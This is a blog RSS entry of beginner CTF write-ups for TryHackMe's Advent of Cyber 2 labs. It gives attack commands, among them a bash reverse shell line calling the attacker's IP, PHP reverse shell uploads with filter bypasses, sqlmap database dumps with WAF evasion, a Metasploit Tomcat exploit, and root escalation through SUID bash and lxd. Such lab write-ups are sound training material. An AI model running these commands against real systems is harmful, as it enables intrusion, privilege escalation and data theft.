<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>SQLi &amp;mdash; drsh0&#39;s llog</title>
    <link>https://drsh0.writeas.com/tag:SQLi</link>
    <description>my learning log; notes on cybersec activities, ctfs, and ill-equipped cyber adventures. Consume responsibly.</description>
    <pubDate>Sun, 26 Apr 2026 19:32:10 +0000</pubDate>
    <image>
      <url>https://i.snap.as/v7Oo2ci6.png</url>
      <title>SQLi &amp;mdash; drsh0&#39;s llog</title>
      <link>https://drsh0.writeas.com/tag:SQLi</link>
    </image>
    <item>
      <title>TryHackMe - Advent of Cyber 2</title>
      <link>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[  Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.&#xA;&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;Here are my writeups! Happy Holidays folks 🎄&#xA;&#xA;!--more--&#xA;&#xA;## Day 1: #Web #Cookies A Christmas Crisis&#xA;&#xA;modify basic auth cookie to bypass authentication for user santa.&#xA;cookie format is in hexadecimal which is presented as json when decoded.&#xA;&#xA;## Day 2: #Web #RCE The Elf Strikes Back&#xA;&#xA;login using provided ID via GET parameter.&#xA;set up a simple php reverse shell&#xA;bypass upload filter by adding .jpg before true extension.&#xA;set up ncat listener: rlwrap ncat -lvnp $PORT &#xA;visit upload directory and open uploaded php reverse shell.&#xA;get www-data shell and get flag.&#xA;&#xA;## Day 3: #Web #Authentication Christmas Chaos &#xA;&#xA;attempt login and capture login URI.&#xA;utilise burp cluster bomb with 2 payload sets for: username and password.&#xA;run attack and compare response length to find correct credentials.&#xA;login using these credentials for flag&#xA;&#xA;## Day 4: #Web #Fuzzing Santa&#39;s Watching&#xA;&#xA;scan for common directories --  find /api&#xA;api file site-log.php used for querying site logs by date&#xA;fuzz probable dates using wfuzz: &#xA;wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ&#xA;&#xA;## Day 5: #Web #SQLi Someone stole Santa&#39;s gift list! &#xA;&#xA;bypass login using basic SQLi payload&#xA;use info provided to launch sqlmap against the search parameter.&#xA;burp -  capture request -  send to repeater -  save request.&#xA;sqlmap -r $savedrequest --tamper=space2comment --dump-all -dbms sqlite.&#xA;    space2comment is a WAF bypass method. This can be identified via --identify-waf.&#xA;    other WAF bypasses are available where needed.&#xA;use db dumps to answer all questions.&#xA;&#xA;## Day 6: #Web #XSS Be careful with what you wish on a Christmas night &#xA;&#xA;web app is vulnerable to both reflected and stored XSS.&#xA;OWASP ZAP can be used for automated scanning.&#xA;The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying a tags or by doing something like location.replace).&#xA;&#xA;## Day 7: #Networking #Wireshark The Grinch Really Did Steal Christmas &#xA;&#xA;We&#39;re given 3 pcaps that need to be analysed.&#xA;&#xA;pcap1&#xA;&#xA;find icmp traffic - type icmp in filter bar &#xA;find all HTTP GET requests - http.request.method == GET&#xA;find web pages visited (HTTP) by specific host - ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET&#xA;&#xA;pcap 2&#xA;&#xA;find plaintext password in ftp traffic - ftp.request.command==PASS&#xA;find encrypted protocol used - statistics   protocol hierarchy (from this we see SSH which is an encrypted protocol)&#xA;&#xA;pcap 3&#xA;&#xA;recover files sent in the wire - file   export objects   http&#xA;&#xA;## Day 8: #Networking #nmap #enumeration What&#39;s Under the Christmas Tree? &#xA;&#xA;A quick recap of nmap:&#xA;&#xA;-sT - TCP scan&#xA;-sS - SYN scan - default&#xA;-A - aggressive scan (includes OS, version, script and traceroute scans)&#xA;--script vuln - scan for common vulnerabilities on open ports&#xA;    additional scripts: enip-info, rdp-ntlm-info, http-enum&#xA;    tip: you can use ` as a wildcard when using --script`.&#xA;&#xA;## Day 9: #Networking #ftp Anyone can be Santa! &#xA;&#xA;find anonymous ftp directories using nmap $IP -sV --script=ftp-anon&#xA;ftp in and retrieve backup.sh&#xA;set up reverse shell on local host: rlwrap ncat -lnvp 4242&#xA;upload backup script back to the ftp server with an added bash reverse shell:&#xA;sh -i   &amp; /dev/udp/$THMIP/4242 0  &amp;1&#xA;we should get a root shell on remote host this way. &#xA;&#xA;## Day 10: #Networking #smb Don&#39;t be sElfish!&#xA;&#xA;enum4linux -U $IP - enumerate users on SMB server&#xA;enum4linux -S $IP - enumerate shares on SMB server&#xA;smbclient //$IP/$ShareName - connect to SMB share&#xA;&#xA;## Day 11:  #Networking #privesc The Rogue Gnome &#xA;&#xA;we&#39;re given details to log in to ssh as the cmatic user.&#xA;it appears to be a limited account without any sudo access, let&#39;s send over LinEnum.sh to automate enumeration for us. &#xA;on the target machine: nc -l -p 1337   /tmp/LinEnum.sh&#xA;on the attacking machine: nc -w 3 $machineIP 1337 &lt; LinEnum.sh&#xA;The above should send the file from our machine to the target machine via nc (timeout -w at 3 secs)&#xA;SUID enumeration reveals /bin/bash has SUID bit set&#xA;With /bin/bash -p we get a root shell. The -p tells  the shell to maintain the euid which in this case is 0 (root) due to SUID. &#xA;&#xA;## Day 12:  #Networking #initialaccess Ready, Set, Elf &#xA;&#xA;nmap (-sC -sV)&#xA;we see tomcat 9.0.17 being used&#xA;searching that in exploit-db we find possible code exec CVEs&#xA;&#xA;metasploit:&#xA;&#xA;msfconsole&#xA;search CVE-2019-0232&#xA;use exploit/windows/http/tomcatcgicmdlineargs&#xA;set lhost tun0&#xA;set rhost $remotehostIP&#xA;set URI $remotehostCGI&#xA;check&#xA;exploit&#xA;shell&#xA;the above gets us a user shell. Check privs with run post/windows/gather/winprivs&#xA;&#xA;## Day 13: #exploitation Coal for Christmas&#xA;&#xA;scan machine with nmap - notice telnet&#xA;connect to telnet and log in with creds displayed&#xA;Enumuration tips:&#xA;  cat /etc/release&#xA;  cat /etc/issue&#xA;Ubuntu 12.04 with kernel 3.2.0-23-generic - vulnerable to dirtyc0w.&#xA;Transfer dirtyc0w source code to target machine and compile&#xA;run and create a root privileged account!&#xA;&#xA;## Day 14: #osint  Where&#39;s Rudolph?&#xA;&#xA;https://scylla.sh/ - neat place to find dehashed passwords.&#xA;always check the entire post history of an account if possible.&#xA;&#xA;## Day 15 &amp; 16: #python&#xA;&#xA;!/usr/bin/env python3&#xA;TryHackMe Advent Calendar 2020 Day 16&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;import requests&#xA;&#xA;The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.&#xA;for loop to go over 1-100 key values, step by 2 to have odd numbers only&#xA;&#xA;for apikey in range(1,100,2):&#xA;    # print what api key value we are iterating&#xA;    print(f&#34;apikey {apikey}&#34;)&#xA;    # this is the api endoing we are sending requests to&#xA;    r = requests.get(f&#39;http://EDITMETHMIP:8000/api/{apikey}&#39;)&#xA;    # only print text out if there are no failures or protections in place&#xA;    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):&#xA;        print(r.text)&#xA;&#xA;## Day 19: #SSRF #web The Naughty or Nice List&#xA;&#xA;Observe that searches are proxied internally via http://list.hohoho:8080/search.php?name=.&#xA;Since an internal server is exposed, there are numerous things to do:&#xA;&#x9;visit root of the host exposed e.g. http://list.hohoho:8080 via the URI parameter.&#xA;&#x9;try different ports for enumeration. &#xA;&#x9;check for any app side blocking/filtering e.g. visiting localhost via the proxy. If blocked, consider using localtest.me which resolves to 127.0.0.1 e.g. proxy=http://list.hohoho.localtest.me&#xA;&#x9;this could lead to some sensitive exposure. &#xA;&#xA;## Day 17 &amp; 18: #reversing #assembly #dotnet ReverseELFneering  &amp; The Bits of Christmas &#xA;&#xA;Opening a binary with radare2 - r2 -d file&#xA;Analysing a binary - aa&#xA;List of functions - afl&#xA;Print disassembly function - pdf @function&#xA;Breakpoint - db reference&#xA;Run program until breakpoint - dc&#xA;View contents of memory address - px @memory address&#xA;Move to next instruction - ds&#xA;View %eax register - dr&#xA;Reload program - ood&#xA;&#xA;---&#xA;&#xA;For DotNet applications, ILSpy and Dotpeek are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication. &#xA;&#xA;## Day 20: #powershell PowershELlF to the rescue &#xA;&#xA;Some intro to powershell and navigating the file and directory system:&#xA;&#xA;Get-ChildItem -Path  -File/-Directory -Hidden -ErrorAction SilentlyContinue&#xA;The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors. &#xA;&#xA;Measure-Object&#xA;Can be piped to provide info on an object like words e.g. Get-Content file.txt | Measure-Object -Word&#xA;&#xA;(Get-Content -Path file.txt)[index]&#xA;Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character. &#xA;&#xA;*Select-String -Path ./Desktop -Pattern &#39;.txt&#39;*&#xA;Find all txt files within the desktop. Can also be used to search for strings within a file. &#xA;&#xA;## Day 21: #forensics #powershell Time for some ELForensics &#xA;&#xA;ADFS is a part of NTFS and can contain alternate data streams not visible to the user. &#xA;Calculate MD5: &#xA;Get-FileHash -Algorithm MD5 file&#xA;View streams: &#xA;Get-Item -Path file.exe -Stream &#xA;Launch the stream/s found: &#xA;wmic process call create $(Resolve-Path file.exe:streamname)&#xA;&#xA;# Day 22: #forensics Elf McEager becomes CyberElf &#xA;&#xA;Data decoding via https://gchq.github.io/CyberChef/&#xA;&#xA;# Day 23: #forensics The Grinch strikes again!&#xA;&#xA;malicious scheduled tasks may often be utilised by ransomware operators.&#xA;volume shadow copy service (VSS) creates &#34;snapshots&#34; of data. This can be interacted with using vssadmin&#xA;for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume. &#xA;&#xA;Day 24&#xA;&#xA;Find hidden web directories and php pages:&#xA;&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php&#xA;Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to .jpg.php doesn&#39;t work. See network connections and notice filter.js. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.&#xA;rlwrap ncat -nlvp 1234&#xA;&#xA;Upgrade shell:&#xA;python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;&#xA;After finding the DB creds in the includes folder, connect to it using MySQL client. &#xA;$ msql -utron -p&#xA;$ show databases;&#xA;$ use tron;&#xA;$ show tables;&#xA;$ select * from users;&#xA;&#xA;We find the user flynn&#39;s hashed password which can be cracked via crackstation. &#xA;Using these credentials, SSH into localhost (or use su flynn).&#xA;The flyn user is in the lxd group, allowing us to interact with linux containers (lxc). &#xA;$ lxc image list # see if there are any images we can use&#xA;$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container&#xA;$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root&#xA;$ lxc start $CONTAINERNAME&#xA;$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell &#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<blockquote><p>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.</p></blockquote>

<p><a href="https://tryhackme.com/room/adventofcyber2" rel="nofollow">https://tryhackme.com/room/adventofcyber2</a></p>

<p>Here are my writeups! Happy Holidays folks 🎄</p>



<h2 id="day-1-web-cookies-a-christmas-crisis" id="day-1-web-cookies-a-christmas-crisis">Day 1: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Cookies" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Cookies</span></a> A Christmas Crisis</h2>
<ul><li>modify basic auth cookie to bypass authentication for user <code>santa</code>.</li>
<li>cookie format is in hexadecimal which is presented as json when decoded.</li></ul>

<h2 id="day-2-web-rce-the-elf-strikes-back" id="day-2-web-rce-the-elf-strikes-back">Day 2: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:RCE" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">RCE</span></a> The Elf Strikes Back</h2>
<ul><li>login using provided ID via GET parameter.</li>
<li>set up a simple php reverse shell</li>
<li>bypass upload filter by adding <code>.jpg</code> before true extension.</li>
<li>set up ncat listener: <code>rlwrap ncat -lvnp $PORT</code></li>
<li>visit upload directory and open uploaded php reverse shell.</li>
<li>get <code>www-data</code> shell and get flag.</li></ul>

<h2 id="day-3-web-authentication-christmas-chaos" id="day-3-web-authentication-christmas-chaos">Day 3: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Authentication" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Authentication</span></a> Christmas Chaos</h2>
<ul><li>attempt login and capture login URI.</li>
<li>utilise burp cluster bomb with 2 payload sets for: <code>username</code> and <code>password</code>.</li>
<li>run attack and compare response length to find correct credentials.</li>
<li>login using these credentials for flag</li></ul>

<h2 id="day-4-web-fuzzing-santa-s-watching" id="day-4-web-fuzzing-santa-s-watching">Day 4: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Fuzzing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Fuzzing</span></a> Santa&#39;s Watching</h2>
<ul><li>scan for common directories —&gt; find <code>/api</code></li>
<li>api file <code>site-log.php</code> used for querying site logs by date</li>
<li>fuzz probable dates using <code>wfuzz</code>:
<code>wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ</code></li></ul>

<h2 id="day-5-web-sqli-someone-stole-santa-s-gift-list" id="day-5-web-sqli-someone-stole-santa-s-gift-list">Day 5: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:SQLi" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SQLi</span></a> Someone stole Santa&#39;s gift list!</h2>
<ul><li>bypass login using basic SQLi payload</li>
<li>use info provided to launch <code>sqlmap</code> against the search parameter.</li>
<li>burp –&gt; capture request –&gt; send to repeater –&gt; save request.</li>
<li><code>sqlmap -r $saved_request --tamper=space2comment --dump-all -dbms sqlite</code>.
<ul><li><code>space2comment</code> is a WAF bypass method. This can be identified via <code>--identify-waf</code>.</li>
<li>other WAF bypasses are available where needed.</li></ul></li>
<li>use db dumps to answer all questions.</li></ul>

<h2 id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night" id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night">Day 6: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:XSS" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">XSS</span></a> Be careful with what you wish on a Christmas night</h2>
<ul><li>web app is vulnerable to both reflected and stored XSS.</li>
<li>OWASP ZAP can be used for automated scanning.</li>
<li>The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying <code>&lt;a&gt;</code> tags or by doing something like <code>location.replace</code>).</li></ul>

<h2 id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas" id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas">Day 7: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:Wireshark" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Wireshark</span></a> The Grinch Really Did Steal Christmas</h2>

<p>We&#39;re given 3 pcaps that need to be analysed.</p>

<p>pcap1</p>
<ul><li>find icmp traffic – type <code>icmp</code> in filter bar</li>
<li>find all HTTP GET requests – <code>http.request.method == GET</code></li>
<li>find web pages visited (HTTP) by specific host – <code>ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET</code></li></ul>

<p>pcap 2</p>
<ul><li>find plaintext password in ftp traffic – <code>ftp.request.command==PASS</code></li>
<li>find encrypted protocol used – statistics &gt; protocol hierarchy (from this we see SSH which is an encrypted protocol)</li></ul>

<p>pcap 3</p>
<ul><li>recover files sent in the wire – file &gt; export objects &gt; http</li></ul>

<h2 id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree" id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree">Day 8: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:nmap" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">nmap</span></a> <a href="https://drsh0.writeas.com/tag:enumeration" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">enumeration</span></a> What&#39;s Under the Christmas Tree?</h2>

<p>A quick recap of nmap:</p>
<ul><li><code>-sT</code> – TCP scan</li>
<li><code>-sS</code> – SYN scan – default</li>
<li><code>-A</code> – aggressive scan (includes OS, version, script and traceroute scans)</li>
<li><code>--script vuln</code> – scan for common vulnerabilities on open ports
<ul><li>additional scripts: <code>enip-info</code>, <code>rdp-ntlm-info</code>, <code>http-enum</code></li>
<li>tip: you can use <code>*</code> as a wildcard when using <code>--script</code>.</li></ul></li></ul>

<h2 id="day-9-networking-ftp-anyone-can-be-santa" id="day-9-networking-ftp-anyone-can-be-santa">Day 9: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:ftp" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">ftp</span></a> Anyone can be Santa!</h2>
<ul><li>find anonymous ftp directories using <code>nmap $IP -sV --script=ftp-anon</code></li>
<li><code>ftp</code> in and retrieve <code>backup.sh</code></li>
<li>set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp" rel="nofollow">reverse shell</a> on local host: <code>rlwrap ncat -lnvp 4242</code></li>
<li>upload backup script back to the ftp server with an added bash reverse shell:
<code>sh -i &gt;&amp; /dev/udp/$THM_IP/4242 0&gt;&amp;1</code></li>
<li>we should get a root shell on remote host this way.</li></ul>

<h2 id="day-10-networking-smb-don-t-be-selfish" id="day-10-networking-smb-don-t-be-selfish">Day 10: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:smb" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">smb</span></a> Don&#39;t be sElfish!</h2>

<p><code>enum4linux -U $IP</code> – enumerate users on SMB server
<code>enum4linux -S $IP</code> – enumerate shares on SMB server
<code>smbclient //$IP/$ShareName</code> – connect to SMB share</p>

<h2 id="day-11-networking-privesc-the-rogue-gnome" id="day-11-networking-privesc-the-rogue-gnome">Day 11:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:privesc" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">privesc</span></a> The Rogue Gnome</h2>
<ul><li>we&#39;re given details to log in to ssh as the <code>cmatic</code> user.</li>
<li>it appears to be a limited account without any <code>sudo</code> access, let&#39;s send over <code>LinEnum.sh</code> to automate enumeration for us.</li>
<li>on the target machine: <code>nc -l -p 1337 &gt; /tmp/LinEnum.sh</code></li>
<li>on the attacking machine: <code>nc -w 3 $machineIP 1337 &lt; LinEnum.sh</code></li>
<li>The above should send the file from our machine to the target machine via <code>nc</code> (timeout <code>-w</code> at 3 secs)</li>
<li>SUID enumeration reveals <code>/bin/bash</code> has SUID bit set</li>
<li>With <code>/bin/bash -p</code> we get a root shell. The <code>-p</code> tells  the shell to maintain the euid which in this case is 0 (root) due to SUID.</li></ul>

<h2 id="day-12-networking-initialaccess-ready-set-elf" id="day-12-networking-initialaccess-ready-set-elf">Day 12:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:initialaccess" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">initialaccess</span></a> Ready, Set, Elf</h2>
<ul><li>nmap (<code>-sC -sV</code>)</li>
<li>we see tomcat 9.0.17 being used</li>
<li>searching that in exploit-db we find possible code exec CVEs</li></ul>

<p>metasploit:</p>

<pre><code>msfconsole
search CVE-2019-0232
use exploit/windows/http/tomcat_cgi_cmdlineargs
set lhost tun0
set rhost $remotehostIP
set URI $remotehostCGI
check
exploit
shell
</code></pre>

<p>the above gets us a user shell. Check privs with <code>run post/windows/gather/win_privs</code></p>

<h2 id="day-13-exploitation-coal-for-christmas" id="day-13-exploitation-coal-for-christmas">Day 13: <a href="https://drsh0.writeas.com/tag:exploitation" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">exploitation</span></a> Coal for Christmas</h2>
<ul><li>scan machine with nmap – notice telnet</li>
<li>connect to telnet and log in with creds displayed</li>
<li>Enumuration tips:
<ul><li>cat /etc/*release</li>
<li>cat /etc/issue</li></ul></li>
<li>Ubuntu 12.04 with kernel 3.2.0-23-generic – vulnerable to dirtyc0w.</li>
<li>Transfer dirtyc0w source code to target machine and compile</li>
<li>run and create a root privileged account!</li></ul>

<h2 id="day-14-osint-where-s-rudolph" id="day-14-osint-where-s-rudolph">Day 14: <a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">osint</span></a>  Where&#39;s Rudolph?</h2>
<ul><li><a href="https://scylla.sh/" rel="nofollow">https://scylla.sh/</a> – neat place to find dehashed passwords.</li>
<li>always check the entire post history of an account if possible.</li></ul>

<h2 id="day-15-16-python" id="day-15-16-python">Day 15 &amp; 16: <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">python</span></a></h2>

<pre><code class="language-python">#!/usr/bin/env python3
## TryHackMe Advent Calendar 2020 Day 16
## https://tryhackme.com/room/adventofcyber2

import requests

# The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.
# for loop to go over 1-100 key values, step by 2 to have odd numbers only

for api_key in range(1,100,2):
    # print what api key value we are iterating
    print(f&#34;api_key {api_key}&#34;)
    # this is the api endoing we are sending requests to
    r = requests.get(f&#39;http://EDITME_THMIP:8000/api/{api_key}&#39;)
    # only print text out if there are no failures or protections in place
    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):
        print(r.text)
</code></pre>

<h2 id="day-19-ssrf-web-the-naughty-or-nice-list" id="day-19-ssrf-web-the-naughty-or-nice-list">Day 19: <a href="https://drsh0.writeas.com/tag:SSRF" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SSRF</span></a> <a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">web</span></a> The Naughty or Nice List</h2>
<ol><li>Observe that searches are proxied internally via <code>http://list.hohoho:8080/search.php?name=</code>.</li>
<li>Since an internal server is exposed, there are numerous things to do:
<ul><li>visit root of the host exposed e.g. <code>http://list.hohoho:8080</code> via the URI parameter.</li>
<li>try different ports for enumeration.</li>
<li>check for any app side blocking/filtering e.g. visiting <code>localhost</code> via the proxy. If blocked, consider using <code>localtest.me</code> which resolves to 127.0.0.1 e.g. <code>proxy=http://list.hohoho.localtest.me</code></li>
<li>this could lead to some sensitive exposure.</li></ul></li></ol>

<h2 id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas" id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas">Day 17 &amp; 18: <a href="https://drsh0.writeas.com/tag:reversing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">reversing</span></a> <a href="https://drsh0.writeas.com/tag:assembly" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">assembly</span></a> <a href="https://drsh0.writeas.com/tag:dotnet" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">dotnet</span></a> ReverseELFneering  &amp; The Bits of Christmas</h2>

<p>Opening a binary with radare2 – <code>r2 -d &lt;file&gt;</code>
Analysing a binary – <code>aa</code>
List of functions – <code>afl</code>
Print disassembly function – <code>pdf @&lt;function&gt;</code>
Breakpoint – <code>db &lt;reference&gt;</code>
Run program until breakpoint – <code>dc</code>
View contents of memory address – <code>px @&lt;memory address&gt;</code>
Move to next instruction – <code>ds</code>
View %eax register – <code>dr</code>
Reload program – <code>ood</code></p>

<hr/>

<p>For DotNet applications, <strong>ILSpy</strong> and <strong>Dotpeek</strong> are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication.</p>

<h2 id="day-20-powershell-powershellf-to-the-rescue" id="day-20-powershell-powershellf-to-the-rescue">Day 20: <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> PowershELlF to the rescue</h2>

<p>Some intro to powershell and navigating the file and directory system:</p>

<p><strong><code>Get-ChildItem -Path &lt;&gt; -File/-Directory -Hidden -ErrorAction SilentlyContinue</code></strong>
The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors.</p>

<p><strong><code>Measure-Object</code></strong>
Can be piped to provide info on an object like words e.g. <code>Get-Content file.txt | Measure-Object -Word</code></p>

<p><strong><code>(Get-Content -Path file.txt)[index]</code></strong>
Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character.</p>

<p><strong><code>Select-String -Path ./Desktop -Pattern &#39;*.txt&#39;</code></strong>
Find all txt files within the desktop. Can also be used to search for strings within a file.</p>

<h2 id="day-21-forensics-powershell-time-for-some-elforensics" id="day-21-forensics-powershell-time-for-some-elforensics">Day 21: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> Time for some ELForensics</h2>
<ul><li>ADFS is a part of NTFS and can contain alternate data streams not visible to the user.
Calculate MD5:
<code>Get-FileHash -Algorithm MD5 &lt;file&gt;</code>
View streams:
<code>Get-Item -Path file.exe -Stream *</code>
Launch the stream/s found:
<code>wmic process call create $(Resolve-Path file.exe:streamname)</code></li></ul>

<h1 id="day-22-forensics-elf-mceager-becomes-cyberelf" id="day-22-forensics-elf-mceager-becomes-cyberelf">Day 22: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> Elf McEager becomes CyberElf</h1>

<p>Data decoding via <a href="https://gchq.github.io/CyberChef/" rel="nofollow">https://gchq.github.io/CyberChef/</a></p>

<h1 id="day-23-forensics-the-grinch-strikes-again" id="day-23-forensics-the-grinch-strikes-again">Day 23: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> The Grinch strikes again!</h1>
<ul><li>malicious scheduled tasks may often be utilised by ransomware operators.</li>
<li>volume shadow copy service (VSS) creates “snapshots” of data. This can be interacted with using <code>vssadmin</code></li>
<li>for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume.</li></ul>

<h2 id="day-24" id="day-24">Day 24</h2>

<p>Find hidden web directories and php pages:</p>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
</code></pre>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
</code></pre>

<p>Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to <code>.jpg.php</code> doesn&#39;t work. See network connections and notice <code>filter.js</code>. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.</p>

<pre><code class="language-bash">rlwrap ncat -nlvp 1234
</code></pre>

<p>Upgrade shell:</p>

<pre><code class="language-bash">python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre>

<p>After finding the DB creds in the <code>includes</code> folder, connect to it using MySQL client.</p>

<pre><code>$ msql -utron -p
$ show databases;
$ use tron;
$ show tables;
$ select * from users;

</code></pre>

<p>We find the user <code>flynn</code>&#39;s hashed password which can be cracked via <a href="https://crackstation.net/" rel="nofollow">crackstation</a>.
Using these credentials, SSH into localhost (or use <code>su flynn</code>).
The flyn user is in the lxd group, allowing us to interact with linux containers (lxc).</p>

<pre><code class="language-bash">$ lxc image list # see if there are any images we can use
$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container
$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root
$ lxc start $CONTAINERNAME
$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell 
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2</guid>
      <pubDate>Thu, 10 Dec 2020 19:51:43 +0000</pubDate>
    </item>
  </channel>
</rss>